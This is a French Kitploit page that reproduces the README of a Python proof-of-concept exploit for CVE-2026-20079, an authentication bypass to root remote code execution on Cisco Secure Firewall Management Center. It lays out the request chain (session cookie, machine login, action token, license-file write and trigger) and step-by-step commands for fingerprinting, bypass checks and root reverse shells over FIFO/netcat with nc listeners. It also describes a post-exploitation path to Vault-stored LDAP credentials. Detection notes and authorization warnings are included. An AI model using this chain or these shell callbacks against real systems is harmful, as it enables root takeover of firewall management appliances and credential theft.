Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-20079 — Implémente la chaîne de contournement d'authentification vers RCE root (CVE-2026-20079) contre Cisco Secure FMC à l'aide des modes fingerprint, check, proof et exploit interactif. | Kitploit
Outils/GitHubGitHub/cyberauth/cve-2026-20079
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationDéveloppement de Charges Utiles
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

Implémente la chaîne de contournement d'authentification vers RCE root (CVE-2026-20079) contre Cisco Secure FMC à l'aide des modes fingerprint, check, proof et exploit interactif.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-20079 Cisco Secure FMC PoC

Preuve de concept en Python pour la chaîne de contournement d'authentification vers RCE root documentée publiquement pour Cisco Secure Firewall Management Center dans CVE-2026-20079.

Il ne s'agit pas d'une nouvelle vulnérabilité ni d'une chaîne d'exploitation développée indépendamment. C'est une implémentation en chambre blanche de la séquence de requêtes publiée par VulnCheck, avec des modes distincts d'empreinte, de vérification, de preuve unique et d'exploitation interactive.

Installation rapide

Python 3.10 ou une version ultérieure est requis. Sur Linux ou macOS :```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## Remplacer les adresses d'exemple

Toutes les valeurs `192.0.2.x` ci-dessous sont des adresses de documentation réservées. Elles sont
des espaces réservés, pas des informations de cible découvertes, et doivent être remplacées par
des valeurs issues de l'évaluation autorisée. Les commandes ne sont pas censées fonctionner
sans modification.

| Exemple | Signification | Ce qu'il faut utiliser à la place |
| --- | --- | --- |
| `https://192.0.2.10` | URL de la cible FMC | Le schéma, l'adresse et le port FMC exacts autorisés |
| `192.0.2.20` | Adresse à laquelle le FMC se connecte en retour | L'adresse IP ou le nom DNS de l'écouteur de l'opérateur **tel qu'il est joignable depuis le FMC** |
| `192.0.2.0/24` | Exemple de CIDR d'empreinte | Une plage réseau explicitement autorisée |
| `4444` | Port TCP de rappel/écoute | Un port joignable approuvé sur le système de rappel |
| `0.0.0.0` | Interface sur laquelle l'écouteur se lie sur le système de l'opérateur | Conservez-le pour écouter sur toutes les interfaces locales, ou utilisez l'adresse d'une interface locale |
| `192.0.2.10` dans `--expected-callback-source` | Source attendue du rappel | L'adresse source du FMC telle qu'observée par l'écouteur ; omettez cette option lorsque le NAT la rend incertaine |
| `http://127.0.0.1:8080` | Proxy intercepteur local facultatif | L'URL du proxy réellement à l'écoute sur le système de l'opérateur |

### Choisir `--callback-host`

Utilisez cette règle : **du point de vue du FMC, quelle adresse atteint l'écouteur de l'opérateur ?** Cette adresse est `--callback-host`.

| Chemin réseau | Valeur typique de `--callback-host` |
| --- | --- |
| L'opérateur et le FMC sont sur le même réseau routé | L'adresse LAN joignable du système de l'opérateur (`eth0`, `en0`, ou autre) |
| L'opérateur atteint le FMC via un VPN | L'adresse d'interface VPN joignable, comme `tun0` ou `utun`, lorsque le FMC a une route vers celle-ci |
| L'opérateur est derrière un NAT ou un pare-feu | L'IP publique ou le nom DNS dont le port sélectionné est redirigé vers le système de l'opérateur |
| Un tunnel de rappel ou un VPS est utilisé | L'adresse joignable du point de terminaison du tunnel ou du VPS |

N'utilisez pas `127.0.0.1` ni `0.0.0.0` pour `--callback-host`. `127.0.0.1` ferait référence au FMC lui-même, tandis que `0.0.0.0` est une valeur de liaison d'écouteur, pas une destination. Assurez-vous que le routage, les règles de pare-feu et toute redirection de port permettent au FMC d'atteindre `--callback-host` sur `--callback-port`.

`--listen-host` est uniquement local : il sélectionne l'interface sur laquelle l'écouteur intégré attend. Sa valeur par défaut, `0.0.0.0`, écoute sur toutes les interfaces locales. Il n'indique pas au FMC où se connecter. Par conséquent, `--callback-host` et `--listen-host` peuvent être différents, en particulier à travers un NAT.

### Exemple concret : opérateur et FMC sur le même réseau

Supposons ce laboratoire fictif, réservé à la documentation :```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

Les valeurs correspondent à la commande comme suit :

  • --target https://192.0.2.10 identifie le FMC évalué.
  • --callback-host 192.0.2.20 est l'adresse eth0 du système de l'opérateur, car le FMC peut y router directement.
  • --callback-port 4444 est le port TCP approuvé utilisé par le callback.
  • --listen-host 0.0.0.0 permet au listener intégré d'accepter le callback sur toute interface locale, y compris eth0.

Une commande de preuve unique pour cet exemple serait :```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
Le flux est le suivant : l'opérateur envoie des requêtes HTTPS vers `192.0.2.10`, puis le FMC se connecte en retour à l'adresse `192.0.2.20:4444` de l'opérateur. Lors d'une évaluation réelle, remplacez les deux adresses IP et confirmez la route de retour avant d'exécuter la commande. Si le FMC ne peut pas atteindre l'adresse `eth0` de l'opérateur, utilisez à la place l'adresse VPN, NAT, tunnel ou VPS joignable décrite ci-dessus.

## Modes et référence rapide des commandes

| Mode | Effet réseau ou sur la cible | Ce que le succès établit |
| --- | --- | --- |
| `--fingerprint` | Requêtes GET uniquement | Une surface web FMC possible ; pas une confirmation de vulnérabilité |
| `--check` | Met à niveau l'état de session côté serveur | Contournement de l'authentification et accès à un jeton d'action |
| `--proof` | Écrit et exécute une charge utile de rappel limitée | Exécution root et nettoyage, sans shell interactif |
| `--exploit` | Écrit et exécute une charge utile FIFO/netcat | Un rappel root interactif, ou une vérification limitée avec `--auto-verify` |

Définissez les trois valeurs d'exemple une seule fois, en remplaçant chacune par la cible autorisée, l'adresse de rappel de l'opérateur et le port :```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Ensuite, choisissez exactement un mode :```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> La prise d'empreinte est une étape heuristique d'identification de produit, pas un
> contrôle de vulnérabilité. `MATCH` et `LIKELY` ne prouvent pas que la cible est affectée ou
> exploitable, et `NO_MATCH` n'exclut pas FMC. Les proxys inverses, les pages
> de connexion personnalisées, les contrôles d'accès, les pannes réseau ou les changements de produit peuvent affecter
> le résultat.

La prise d'empreinte envoie des requêtes réseau mais n'exécute pas la chaîne de
contournement d'authentification ou de RCE. Lisez les détails de classification, les descriptions des modes et
l'avertissement sur l'état de session ci-dessous avant d'utiliser `--check`, `--proof` ou `--exploit`.

> [!WARNING]
> N'exécutez pas `--check`, `--proof` ou `--exploit` sans autorisation écrite
> explicite couvrant les modifications de la cible et la méthode de preuve. Lisez
> d'abord les prérequis, la limitation de l'état de session et les exigences de callback.

## Comment fonctionne la chaîne d'exploitation

La chaîne active fournit `CGISESSID=csm_processes` à `/login.cgi?logon=Continue`, utilise l'identifiant machine publié `report:snortrules`, extrait `sf_action_id` de `/ui/user/general`, écrit un script au format Makeself via `validateLicense`, et le déclenche via `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## Prérequis important

Une version logicielle affectée n'est pas toujours exploitable au moment du test. La session `csm_processes` créée au démarrage doit encore exister. L'activité normale de l'interface authentifiée et le nettoyage de session peuvent la supprimer. Ne redémarrez pas un FMC de production uniquement pour satisfaire ce prérequis.

## Limitation de l'état de session

Les modes `--check`, `--proof` et `--exploit` mettent à niveau la session `csm_processes` côté serveur. La PoC ne tente pas de restaurer cette session à son état partiel d'origine, car aucune opération de rétrogradation documentée par le fournisseur n'est disponible. Effacer un cookie client n'annulerait pas la modification côté serveur, tandis que se déconnecter, forcer l'expiration ou supprimer l'entrée de la base de données détruirait la session au lieu de la restaurer et pourrait interférer avec la validation ultérieure ou le comportement de l'appliance. Les fonctions de nettoyage automatique ne suppriment que les fichiers RCE temporaires ; elles ne prétendent pas restaurer l'état de la session. `--fingerprint` n'utilise pas et ne modifie pas cette session.

## Prérequis d'exécution de la cible

Les deux payloads de callback nécessitent :

- Un `/bin/sh` compatible de type POSIX.
- `rm` et `command`.
- L'un de `nc`, `netcat` ou `ncat` disponible via le `PATH` d'exécution de la cible.
- Connectivité TCP sortante de FMC vers l'adresse et le port de callback fournis.

Le payload interactif `--exploit` nécessite en outre `mkfifo`. Le payload à usage unique `--proof` ne crée pas de FIFO ni de shell interactif.

Le payload vérifie les trois noms de commandes netcat pris en charge avant de tenter son callback. Si aucun n'est présent, il se termine via ses traps de nettoyage. Comme l'erreur se produit dans le chemin d'exécution aveugle côté serveur, le testeur constate l'absence de callback plutôt qu'un message d'erreur distant détaillé.

`--auto-verify` utilise la bibliothèque socket de Python et ne nécessite pas de netcat local
installation. Le mode d'écoute manuelle peut utiliser `nc`, `ncat`, `socat` ou un autre
récepteur TCP choisi par l'opérateur.

## Prise d'empreinte FMC en GET uniquement

Prenez l'empreinte d'une URL :```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

Prenez l'empreinte d'un fichier contenant une URL, une adresse IP, un nom d'hôte ou une valeur host:port par ligne:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
Prendre l'empreinte d'une plage réseau explicitement autorisée :```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

Ce mode a un faible impact, pas littéralement passif : il envoie des requêtes réseau. Les redirections sont désactivées globalement, et l'outil ne suit qu'une redirection HTTP réelle vers le chemin exact /ui/login qui reste sur le schéma, l'hôte et le port d'origine. La réponse de connexion doit être réussie (HTTP 2xx) avant que l'outil signale MATCH ou LIKELY. Il n'attache pas le cookie d'exploitation, ne soumet pas d'identifiants, n'envoie pas de requêtes POST, ne suit pas les redirections externes, ne vérifie pas une version, ni ne prouve CVE-2026-20079. MATCH signifie que la marque a été observée dans une réponse réussie, LIKELY signifie que la route de connexion de même origine réussie a correspondu sans marque dans le HTML brut, et NO_MATCH signifie que l'empreinte limitée n'a pas identifié FMC.

Seul --fingerprint accepte --targets-file ou --network. Les modes check, proof et exploit restent délibérément des opérations à cible unique. L'expansion des fichiers et des CIDR est dédupliquée et limitée par --max-hosts (défaut 4096), tandis que la concurrence est limitée par --workers (défaut 10, maximum 100).

Vérification intrusive du contournement de l'authentification```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
Le succès nécessite à la fois la mise à niveau de session HTTP 302 attendue et une réponse 200 contenant un `sf_action_id` spécifique à la session.

Le PoC conserve le jeton d'action complet en mémoire pour la chaîne de requêtes, mais n'affiche qu'une empreinte raccourcie. Traitez les corps de réponse bruts contenant le jeton complet comme des preuves de session sensibles et ne les publiez pas.

Après une vérification réussie, la session côté serveur reste mise à niveau. L'outil le signale explicitement et ne tente pas de restauration non documentée.

## Preuve de root en une seule fois

Utilisez ceci lorsque la preuve d'exécution en tant que root est requise, mais qu'un shell interactif n'est pas nécessaire :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Le mode Proof démarre toujours le listener intégré avant la demande d'écriture de fichier. La cible envoie des marqueurs de début/fin aléatoires, id, le nom d'hôte, le nom du répertoire de build et l'état du nettoyage de /var/tmp/license.tmp, puis se déconnecte. Le succès requiert uid=0(root) et l'absence vérifiée du script temporaire. Il ne crée pas de FIFO, n'expose pas de canal de commande interactif et n'exécute pas de post-exploitation spécifique à l'environnement.

Validation du shell root

Démarrez un listener sur le système de rappel autorisé :```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
Exécutez une seule commande d'écoute adaptée au système de callback, pas les deux.

Ensuite, exécutez :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Valider le callback :```bash id hostname -f

root@kitploit:~
Le PoC affiche le chemin exact du FIFO temporaire. Supprimez uniquement ces deux artefacts d'exploit connus du shell FMC :```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

Vérification automatique du root et nettoyage

Le PoC peut exécuter son propre listener de callback et effectuer automatiquement une post-exploitation limitée :```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify` n'effectue via le callback que les actions suivantes :

1. Exécute `id` et exige `uid=0(root)`.
2. Collecte `hostname -f` et le nom du répertoire de build FMC.
3. Supprime le FIFO aléatoire exact créé par cette exécution ainsi que `/var/tmp/license.tmp`.
4. Vérifie que les deux chemins sont absents.
5. Quitte le callback.

La charge utile générée supprime également `/var/tmp/license.tmp` dès le début de l'exécution et installe des gestionnaires de nettoyage de sortie de shell/signaux pour les deux chemins temporaires. La vérification automatique effectue et vérifie toujours un nettoyage explicite indépendant. Si une écriture est tentée mais que le callback ou la preuve de nettoyage est incomplet, le PoC se termine avec un code non nul et affiche les deux chemins exacts pouvant nécessiter une revue manuelle autorisée.

Si l'adresse du callback diffère de l'adresse de liaison locale, spécifiez cette dernière séparément :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

Lorsque la source du callback doit être l'adresse FMC elle-même et qu'aucun NAT côté callback n'est impliqué, l'écouteur peut rejeter les connexions sans rapport :```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
L'absence de callback ne permet pas de distinguer entre une cible corrigée, une session de démarrage manquante, un trafic sortant bloqué, une implémentation netcat côté cible indisponible/incompatible, ou une autre erreur d'exécution.

L'énumération automatique de Vault, l'extraction d'identifiants, la persistance et le déplacement latéral sont volontairement exclus. Ces activités ne sont pas nécessaires pour prouver CVE-2026-20079 et dépendent de l'autorisation et de la configuration propres à l'environnement.

## Pourquoi le PoC utilise FIFO/netcat

La première reproduction manuelle utilisait un callback Bash `/dev/tcp`. Les deux étapes d'exploitation HTTP ont renvoyé leurs réponses attendues, mais aucune connexion n'est arrivée. Cela a démontré pourquoi le statut HTTP seul ne constitue pas une preuve d'exécution et pourquoi les fonctionnalités de callback spécifiques au shell ne doivent pas être supposées sur un appliance.

La nouvelle tentative réussie a utilisé le modèle de compatibilité FIFO/netcat documenté dans la recherche publique. Ce PoC va donc directement à ce modèle éprouvé et ne réessaie délibérément pas la méthode `/dev/tcp` qui a échoué. Il vérifie la présence de `nc`, `netcat` ou `ncat`, exige un callback réel et `uid=0(root)` en mode automatique, et renvoie un code non nul lorsque la preuve du callback ou du nettoyage manque. Il ne peut pas déterminer la raison exacte d'un échec de callback aveugle, il rapporte donc les prérequis plausibles d'exécution et de réseau plutôt que de prétendre que la cible est corrigée.

## Portée post-exploitation

Ce dépôt automatise la CVE depuis un état non authentifié jusqu'à un callback root vérifié et un nettoyage. Il n'automatise **pas** la collecte d'identifiants, l'export de secrets ou le déplacement latéral.

Lors d'une évaluation autorisée, le shell root obtenu a exposé un service HashiCorp Vault s'exécutant localement sur la FMC. Un jeton client Vault local à l'appliance a permis d'accéder à un enregistrement d'identifiants LDAP configuré, et cet identifiant a ensuite complété un bind LDAPS autorisé. Il s'agit d'un chemin de post-exploitation observé dans un environnement, et non d'une propriété universelle ou d'un prérequis de CVE-2026-20079.

Voir [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) pour l'histoire de recherche à la première personne : le contexte public, le processus d'exploitation manuel, le callback échoué, la charge utile de compatibilité réussie, le chemin de post-exploitation observé, les leçons apprises et le développement éventuel de cet outil.

## Proxy optionnel

Pour observer les requêtes dans un proxy d'interception :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

Norme de preuve

Une HTTP 302 ou HTTP 200 seule ne prouve pas un RCE root. Traitez le problème comme suit :

  • La surface FMC n'est identifiée que lorsque --fingerprint observe le comportement de connexion borné ou l'image de marque ; cela ne constitue pas en soi une constatation de vulnérabilité.
  • Le contournement de l'authentification n'est confirmé que lorsque la session améliorée produit un sf_action_id valide.
  • Le RCE root n'est confirmé que lorsqu'un récepteur contrôlé reçoit le rappel et que id indique uid=0(root).

Le récepteur intégré utilise des marqueurs de vérification aléatoires par exécution, limite la sortie du rappel capturée, filtre éventuellement la source du rappel, et renvoie un statut non nul si root ou le nettoyage ne peut pas être vérifié. Le mode récepteur manuel ne peut pas prouver ces conditions au processus Python ; sa sortie réussie signifie que la chaîne HTTP a été soumise, pas que l'exécution root a été observée indépendamment.

Statut de sortie

  • 0 : la prise d'empreintes s'est terminée avec au moins un résultat sans erreur ; --check a confirmé le contournement de l'authentification ; --proof ou --auto-verify a confirmé root et le nettoyage ; ou le mode récepteur manuel a soumis avec succès la chaîne HTTP attendue.
  • 1 : la cible ne correspondait pas à une réponse attendue, la preuve rappel/root/nettoyage a échoué, ou une erreur de requête/récepteur s'est produite.
  • 2 : arguments de ligne de commande invalides.
  • 130 : interrompu par l'opérateur. Si une écriture de charge utile a été tentée, l'outil imprime également les chemins exacts dont le nettoyage reste non vérifié.

Opportunités de détection

  • POST vers /login.cgi?logon=Continue en utilisant le cookie csm_processes et l'utilisateur machine report.
  • Requêtes vers /ui/user/general immédiatement après la mise à niveau de la session.
  • Requêtes validateLicense vers /sajaxintf.cgi?rs=callServerFunc.
  • SF::UI::DataObjectLibrary::upgradeReadinessCall soumise à /pjb.cgi.
  • Création ou exécution de /var/tmp/license.tmp contenant un marqueur Makeself.
  • Création de FIFO sous /tmp, un /bin/sh interactif, nc, et trafic sortant inattendu depuis FMC.

Développement et tests

La configuration rapide installe la dépendance d'exécution depuis requirements.txt dans un environnement virtuel isolé. Exécutez les tests unitaires de la bibliothèque standard et les tests d'intégration simulés locaux sans contacter une cible publique :```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## Références

- [Avis Cisco](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Analyse technique de VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Mentions légales

N'utilisez ce script que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Cette preuve de concept peut modifier l'état de session côté serveur et exécuter des commandes
en tant que root. Vous êtes responsable de l'obtention de l'autorisation, de la définition d'un
périmètre sûr et d'une limite de validation, de la protection des preuves collectées et du respect des
lois, contrats et règles du fournisseur ou du programme applicables. L'auteur et
les contributeurs n'autorisent pas l'accès illégal, la perturbation ou la collecte de données.

Le logiciel est fourni « tel quel », sans garantie, et les auteurs et
détenteurs des droits d'auteur déclinent toute responsabilité dans la mesure maximale permise par la loi.
Consultez la [licence MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) pour les conditions complètes. Cette notice d'utilisation ne
modifie ni ne restreint la licence.
Télécharger l’outil